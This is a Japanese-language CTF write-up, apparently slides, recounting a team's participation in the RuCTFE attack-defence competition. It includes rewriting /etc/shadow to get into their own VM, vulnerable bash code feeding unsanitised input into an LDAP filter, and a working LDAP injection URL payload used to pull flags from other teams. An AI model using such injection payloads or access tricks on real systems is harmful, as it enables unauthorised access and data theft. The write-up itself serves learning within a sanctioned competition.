RuCTFEに参加したよ
結果より記憶に残る大会だったよ
自己紹介
Tiwtter: abend@number3to4

Webアプリケーションのセキュリティをメインでやってます。
おくど3(okudo3)でCTFなどに参加してます。
おくど3は、つぶれてしまった格安の立ち飲み屋の名前(おくどさん)
に由来します。そんなわけで、数字の「3」は「さん」と読みます。
RuCTFEの概要1
日本時間の12月14日19時から12月15日4時まで9時間(最初の1時間は設定する
ための時間)で、参加チームのサーバに保存されているFLAGの奪い合うなさけ
容赦ない大会。

脆弱なままのサーバだとやられたい
放題。こっちがFLAGをとって、得点
をゲットしたとしてもFLAGを取られて
得点を簡単に失う。

強者のみが生き残れるという世紀末
状態を体感可能。
RuCTFEの概要2
得点は、FLAGを取得すると得られる。FLAGの正規表現は、/^w{31}=$/
であるとのこと。ただ、FLAGだけではなくSLAも求められる。
得点 =

FLAGポイント ×

SLA

SLAは、2分おきに主催者がチェックして、サービスが落ちていたら、SLAが
減点される。

どちらかが0だと、得点はもう一方をどんだけ稼いでも評価されないということ。
RuCTFEのネットワーク環境
VirtualBoxのイメージを3つ配布され、以下のネットワークを構築しました。
セグメントB
踏み台
サーバ

Internet

FW

他チーム
Master

Router

Master
セグメントA

メンバ
PC

Test

Routerには、VPN設定をして
Master同士でFLAGを奪い合う。
メンバがMasterにアクセスできる
ように踏み台サーバ、Routerに
SSHで多段ログインして、アクセス。
CTFが開始して1
Masterのイメージは事前にパスワードつき状態で公開されており、開始
と同時にパスワードが公開される。
展開して立ち上げたのはいいが、認証情報がないのでNW設定できない。
CTFが開始して2
ログインしないと何もできないので、Masterをdiskとしてmountして
/etc/shadowを書き換えてログインしたらというアドバイスをもらい
やってみたよ。

簡単なパスワードに書き換えて、ログイン成功!!
その後、NW設定変更して、全員アクセスできるようになってやっと
競技開始。

ちなみにこれがセットされていたよ。
root:$6$kaNpfH1w$crSf1X33TcX8MydzbFR96JyFPYrl2.lfU5YorCDUnGSk/bmF56
x3bCaT4xZB1Y1FdKwt2xKf8b4IR/vcdgc3N1:15986::::::
john the ripperにかけたが、3時間かけても終わらなかったのであきらめました。
サーバで稼働しているサービス
いろいろと稼働しているが、8000番で稼働するサービスがWebサービス
ということで、そっちを見ることに。競技上の名称は、contacts。
0.0.0.0:22
0.0.0.0:3000
127.0.0.1:5432
0.0.0.0:18360
0.0.0.0:8000
127.0.0.1:27017
0.0.0.0:3306
127.0.0.1:6379
0.0.0.0:48879
127.0.0.1:28017
0.0.0.0:8081
0.0.0.0:4369
0.0.0.0:4242
Contactsの調査1
とりあえず、telnetで8000番たたくと平文で帰ってきたが、さすがに
コマンドラインだけでWebアプリケーションを見て回るのは面倒だった
ので、ポートフォワードしてブラウザで見れるように。
Contactsの調査2
Address bookになっており、検索や登録ができる。
Contactsの調査3
登録したアドレス情報を、取得してみると・・・
Contactsの調査4
結果には、登録したパスワードも表示されていた。

パスワードの形式を見て、Base64だなって思いながらも、それ以外にFLAGの
形式もそういえばそうじゃんって思い出した。
Contactsの調査5
ブラックボックスだけではなく、手元にソースがあるのだからホワイトボックス
的にも見てみようよってことで、中身を確認。
if [[ $password = *'*'* ]]; then
echo Security alert
return
fi
local results=`$ldapsearch -LLL -H $ldapsocket -x -b "dc=ructfe,dc=org"
-s sub "(&(objectclass=inetOrgPerson)(cn=${name} ${surname})(userPassword
=${password}))"`

Address bookは、LDAPで管理されており、入力値のチェックもされておらず
情報を抜き取りたい放題になっているなってことに気づく。
Contactsの調査6
平文だからというのと、うまく通るまでLDAPインジェクション試すよりも
他のチームからの攻撃手法をパクって、こっちも攻撃しようと考え、tcpdump。

/?action=info&name=*&surname=*)(%7C%20(userPassword=*&password=11)

これね。じゃあ、FLAG取得に向けて動くか。
Contactsの調査7
スコアボードの下位チームでかつContactsサービスが稼働しているチーム
にまずは行うことに。
<div class="contact">
<div class="name" style="font-size: x-large; margin-bottom: 5px"><b> Kieran
Lancaster </b></div>
<div class="phone"> <span class="phone_text">Phone:</span> +55(909)92 783
54 </div>
<div class="mail"> <span class="mail_text">Mail:</span>
1RX23RHCGKPEQP2EQ8ZN8BA7YH5QGS1= </div>
<div class="password"> <span class="password_text">Password:</span>
ZThoc2l1a3Y= </div>
</div>
パスワードじゃないけど、w[31]=に合致するので、スコアサーバに送信。
Contactsの調査8
どうやらOKだったようで。

..:: RuCTFE Get-Flags service ::..
Your team id is 66
Enter your flags, finished with newline (or empty line to exit)
B3UF46DO5KSQ4CHL0CMX3V83E4QDJG1=
Accepted
Goodbye!

そんなわけで、同様の手法を用いて5つのFLAGをゲットー!!
Contactsの調査9
数分で更新されて・・・

ついに、FLAGページにチームのアイコンがのったぁー!!
Contactsの調査10
ヒャッハーって喜んだが・・・

上位チームは桁が違いすぎる。。。
色々と頑張ってみたけど
色々とDoSされたり、shellとられたりとFLAG5つくらいでは埋められないほど
FLAGを取られまくってしまった。
そんな結果は、174チーム中66位だった・・・
まとめ
やられたい放題やられたので、防御する能力を向上させないとだめだなと
思った。だからといって、攻める方もOKではないので、いろいろと頑張ら
ないと思った。
ただ、日本チームでFLAGを取ったのがokudo3のみだったので、結果より
記憶に残る大会だった。

あと、それ以外のサービスも、攻撃パケットを解析して、まとめようかと。

RuCTFEに参加したよ